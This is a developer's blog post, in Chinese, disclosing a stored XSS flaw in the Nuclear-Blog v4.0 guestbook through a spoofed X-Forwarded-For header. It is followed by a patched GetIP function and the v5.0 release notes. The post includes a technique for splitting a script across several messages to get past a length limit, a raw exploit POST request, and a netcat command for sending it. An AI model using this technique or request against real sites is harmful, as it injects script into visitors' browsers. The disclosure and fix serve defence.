其实此漏洞,在当时发布 Nuclear-Blog v4.0 源码的当天,就被发现了,发现的人是t00ls某核心,然后我直接补了,但是网盘下载的依然没补,所以目前市面上所有 Nuclear-Blog v4.0 均存在此漏洞,不知道有没有别人发现。
这是一个XSS漏洞,这个漏洞纯属是我的疏忽,漏洞在文件“liuyan/liuyan.asp”,看代码。
liuyan/liuyan.asp,第 113 行:
…… 以上省略 ……
Function GetIP() '绕过代理获取真实IP
Dim StrIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
StrIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
StrIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
GetIP = Trim(Mid(StrIPAddr, 1, 30))
End Function
…… 以下省略 ……
漏洞产生原因:
这段代码看似正常,这段代码的功能是绕过代理获取用户真实IP,漏洞产生在函数“Request.ServerVariables("HTTP_X_FORWARDED_FOR")”。
这个函数取到的值是从客户端发送的HTTP头取到的,所以 HTTP_X_FORWARDED_FOR 可以使用http头伪造IP地址!当然也可以放其他的内容,漏洞就这样产生了。
这个其实很早以前学习Asp的时候,我就知道了,但不知为什么,当时抽风,居然用了这个函数,还没检查,我去……
类似这种函数的有很多,就不一一解释了,总之漏洞就是这么产生的。
但是这有个问题,看底下的蓝色部分,数据的长度被限制为 1-30 个字符,所以想插入XSS代码,有点操蛋,长度太短了,小于 30 个字符的 JavaScript 代码貌似没有 (<script>alert(/xss/)</script> 正好三十个字符) ……
呵呵,不过这个稍微动点脑子就可以了,先发一条留言,插入:*/</script>,再发一条留言插入:*/alert(/xss/);/*,最后再发一条留言插入:<script>/*,由于留言显示的方式是倒叙的,所以最后的显示代码就是:
…… 省略 Html 代码 ……
<script>/*
…… 省略 Html 代码 ……
*/alert(/xss/);/*
…… 省略 Html 代码 ……
*/</script>
…… 省略 Html 代码 ……
所有 /* 和 */ 之间的代码全就被注释掉了(/* html代码中的注释符号 */),这样 JavaScript 代码就完美的闭合了,然后你想插入多少代码都没问题,都可以执行,长度限制就毫无作用了,最重要的是 Firefox 和 IE 全都支持,实例代码如下:
以下是引用片段:
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR valign="middle">
<TD align="center"><img src="../../image/face/1.gif"/></TD>
</TR>
<TR valign="middle">
<TD align="center"><b>镖镇王大侠</b></TD>
</TR>
</TABLE></TD>
<TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD width="20%">ID:2</TD>
<TD width="45%">时间:2011-06-30 17:09:09</TD>
<TD width="35%">IP:<script>/*</TD>
</TR>
<TR>
<TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD height="80" valign="top">留言内容:<br>
大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
</TR>
<TR>
<TD valign="top">管理回复:<br>
</TD>
</TR>
</TABLE>
</TR>
</TABLE></TD>
</TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR valign="middle">
<TD align="center"><img src="../../image/face/1.gif"/></TD>
</TR>
<TR valign="middle">
<TD align="center"><b>镖镇王大侠</b></TD>
</TR>
</TABLE></TD>
<TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD width="20%">ID:2</TD>
<TD width="45%">时间:2011-06-30 17:09:09</TD>
<TD width="35%">IP:*/alert(/xss/);/*</TD>
</TR>
<TR>
<TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD height="80" valign="top">留言内容:<br>
大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
</TR>
<TR>
<TD valign="top">管理回复:<br>
</TD>
</TR>
</TABLE>
</TR>
</TABLE></TD>
</TR>
</TABLE>
<br>
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR valign="middle">
<TD align="center"><img src="../../image/face/1.gif"/></TD>
</TR>
<TR valign="middle">
<TD align="center"><b>镖镇王大侠</b></TD>
</TR>
</TABLE></TD>
<TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD width="20%">ID:2</TD>
<TD width="45%">时间:2011-06-30 17:09:09</TD>
<TD width="35%">IP:*/</script></TD>
</TR>
<TR>
<TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080>
<TR>
<TD height="80" valign="top">留言内容:<br>
大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD>
</TR>
<TR>
<TD valign="top">管理回复:<br>
</TD>
</TR>
</TABLE>
</TR>
</TABLE></TD>
</TR>
</TABLE>
Exp:
POST /liuyan/liuyan.asp?save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*
X-Forwarded-For:Hello World!
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 324
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: AJSTAT_ok_times=1; TLWNHIRSISRTUNOJIKUD=RDHRHVSXNBYEHUFEPSYNZLOGLGBEJQEPROBCUOEL
UserPic=..%2Fimage%2Fface%2F1.gif&mingzi=%EF%DA%D5%F2%CD%F5%B4%F3%CF%C0&liuyan=++++%B4%F3%C2%B7%B3%AF%CC%EC%A3%AC%B8%F7%D7%DF%D2%BB%B1%DF%A1%A3%BD%F1%B8%F6%B6%F9%C2%B7%B9%FD%B9%F3%B5%D8%A3%AC%BB%B9%CF%A3%CD%FB%B8%F7%CE%BB%B5%B1%BC%D2%B5%C4%D0%D0%B8%F6%B7%BD%B1%E3%A1%A3%28400%D7%D6%D2%D4%C4%DA%29&ok=%CC%E1%BD%BB%CA%FD%BE%DD
?不知道咋用???? Look → Nc.exe -vv lcx.cc 80<Exp.txt,你懂得。。。
修复方案,直接替换 GetIP() 整个函数即可,或者干脆升级到 v5.0 吧:
Function GetIP() '获取IP
Dim Tmp
Tmp = Request.ServerVariables("REMOTE_ADDR")
IF Len(Tmp) < 7 Then Response.End
IF Len(Tmp) > 15 Then Response.End
IF InStr(Tmp, "'") > 0 Then Response.End
IF InStr(Tmp, """") > 0 Then Response.End
IF InStr(Tmp, "<") > 0 Then Response.End
IF InStr(Tmp, ">") > 0 Then Response.End
GetIP = Server.HtmlEncode(Tmp)
End Function
--------------------------------------------------------------------------
附:Nuclear-Blog v5.0 博客系统源码开源下载,下载地址:http://www.uudisc.com/user/nuclearatk/file/4138149
本着自由、分享、进步的精神,公开 Nuclear-Blog v5.0 源码
该套程序从2010年04月中旬零碎更新至今,测试使用很久,之前也发布了 Nuclear-Blog v4.0 公开测试了,目前版本:v5.0。
源码中其中除了 eWebEditor 在线编辑器、MD5标准加密算法、一个高速查询数据库的模块(\liuyan\ListPage.Asp)以及 Flash 播放器以外,所有源码、模板、登陆界面均是本人一行一行反复测试编写而成,没有抄袭任何 Blog 程序,细心的人可以发现,这套程序风格独成一体,完全不同于其他博客系统。
本套程序没有上传功能,至于为什么没有,一是还没来的及写(我懒),二是可能存在一些安全隐患。为了弥补这个功能,提供了一个“baidu.asp”,具体的看下边的文件简介。
另外,本套程序完全支持自由更换、修改、开发模板,而且模板的编写十分简单,具体见:image\Index.html、image\List.html、image\Html.html。
还有,在所有 Asp 文件中均有详尽的注释,供二次开发使用,具体自己去看,太多了,不一一列举了。
后台:admin\index.asp,登陆的账号密码见:admin\login.asp,默认为“admin”,“123456”。
账号和密码是标准MD5加密算法加密过的,加密方式:密文=MD5(MD5(MD5(明文)))。
强烈建议:不要将账号、密码放入数据库中!数据库被下载,会导致安全隐患。
支持留言自动邮件提醒功能,如果有新留言,则发送邮件提醒(需要Jmail组件支持,推荐:w3 JMail v4.5 免费版,如果 JMail 版本不一样,有时候无法使用。),收件账号、发件账号、发件密码、邮件Smtp,其中任意一栏为空则禁用邮件提醒功能。
支持内容防采集设置,该设置支持通配符,通配符请参阅模板文件,网站内容防采集设置,“查找指定标记”或“在标记处插入”其中任意一项内容留空,则不使用网站内容防采集功能。
也没啥要说的了,注释啥都有,自己去看,这有助于你的学习与进步,底下就是各种目录文件的说明,以及建议的权限设置。不设置权限也没关系,这套程序十分安全,除非你旁注,或者存在服务器安全漏洞。
如果你有好的建议、漂亮模板、功能更新等,或者发现任何安全漏洞、Bug、缺陷等,都可以在本站留言,当然也欢迎各位疯狂的发掘此系统各种安全漏洞 ^.^。
------------------------------------------------------------
需要组件:
------------------------------------------------------------
Server.Createobject("Adodb.Connection") 'Adodb.Connection 组件,操作数据库,100% 的空间都支持。
Server.CreateObject("Adodb.RecordSet") 'Adodb.RecordSet 组件,操作数据库,100% 的空间都支持。
Server.CreateObject("scripting.filesystemObject") 'FSO 组件,读写文件,99.9% 的空间都支持。
Server.CreateObject("JMAIL.Message") 'Jmail 组件,发送邮件。如果你不需要留言提醒功能,可以不安装此组件。
Jmail 组件:推荐:w3 JMail v4.5 免费版,如果 JMail 版本不一样,有时候发送邮件功能无法正常使用。
------------------------------------------------------------
------------------------------------------------------------
安装步骤:
------------------------------------------------------------
0、强烈建议修改后台管理主目录“admin\”。
1、打开“Nuclear-Blog v5.0\生成密码.asp”,按照说明填写密码。
2、上传所有文件到你的服务器或者支持Asp的空间。
3、使用浏览器访问“生成密码.asp”,按照提示在本机修改管理账号、密码。
4、将修改过的文件再次上传到你的服务器或者支持Asp的空间,覆盖原文件,修改密码完成。
5、登陆后台设置网站参数等信息。
提示:你可以在本地架设Asp服务器(例如:小旋风ASP服务器/AspWebserver2005),修改好密码,直接上传到空间。
动、静态系统切换:修改 conn.asp,根据说明及需要自行修改,强烈推荐静态模式。
------------------------------------------------------------
------------------------------------------------------------
目录说明:
------------------------------------------------------------
路径 功能说明
admin\ 后台管理主目录,该管理系统完全独立,目录名字随意改,完全不影响使用。
admin\eWebEditor\ 在线编辑器文件存放目录,该编辑器使用的纯静态,不存在什么上传漏洞之类的,可放心使用。
admin\images\ 后台的登陆界面以及背景图片存放目录。
html\ Html 文件缓存目录(如果开启了静态模式的话,具体设置在 conn.asp),每次修改文章、发布文章、修改网站设置,该目录会清空(包括子目录)。
image\ 网站各种 logo 、留言表情以及模板文件存放目录。
image\face 留言表情文件存放目录。
liuyan\ 网站留言程序存放目录,该留言程序是独立的,该目录名字可以随意修改,但是要注意主页及文章的留言连接也要一并修改。
music\ 网站多媒体播放文件存放目录。
music\skins\ Flash 播放器的皮肤文件存放目录。
------------------------------------------------------------
------------------------------------------------------------
文件说明:
------------------------------------------------------------
路径 功能说明
生成密码.asp 生成新的管理账号、密码用的,本文件和博客系统无关,完全可以删掉,不影响程序使用。
baidu.asp 由于博客没有上传功能,所以提供了个盗链百度空间图片的东西,用法:baidu.asp?http://hi.baidu.com/****.jpg。
Data.mdb 所有数据存放的数据库,备份系统只需要备份该文件即可,可以任意修改名称,注意对应修改 conn.asp 中的路径。
conn.asp 定义一些常用组件,和博客静态、动态开关,以及静态页面文件存放路径、数据库路径。
home.asp 生成主页、文章、缓存之类的核心文件,该文件不单独运行,由 index.asp 包含执行。
index.asp 处理主页、文章、缓存之类的核心文件。
md5.asp Md5 标准加密算法模块,校验密码,及生成唯一缓存路径用的。
admin\*.asp 文件太多了,不一一介绍了,均是网站设置、留言管理、文章发布、编辑等功能。
image\Index.html 主页模板,可以自行修改编辑。
image\List.html 文章列表页面模板,可以自行修改编辑。
image\Html.html 文章页面模板,可以自行修改编辑。
liuyan\index.asp 留言系统的主页,显示数据库中留言以及分页功能。
liuyan\liuyan.asp 提交留言的页面,安全过滤已经做死了,可放心使用。
liuyan\ListPage.asp 一个高速查询数据库的模块。
------------------------------------------------------------
------------------------------------------------------------
权限设置:
------------------------------------------------------------
路径 建议权限
admin\ 请务必修改该目录名称,该目录以及其子目录中的所有文件,完全拒绝写入、修改权限,仅保留读取及执行权限。
html\ 该目录需要读取、写入、修改、删除权限,完全拒接执行权限。
image\ 该目录以及其子目录中的所有文件,完全拒绝写入、修改及执行权限,仅保留读取权限。
liuyan\ 该目录以及其子目录中的所有文件,完全拒绝写入、修改权限,仅保留读取及执行权限。
music\ 该目录以及其子目录中的所有文件,完全拒绝写入、修改及执行权限,仅保留读取权限。
baidu.asp 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
data.mdb 该文件需要读取、写入、修改权限,完全拒绝执行权限。
conn.asp 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
home.asp 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
index.asp 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
md5.asp 该文件完全拒绝写入、修改权限,仅保留读取及执行权限。
生成密码.asp 该文件使用完请直接删除!!!
------------------------------------------------------------
By:Nuclear'Atk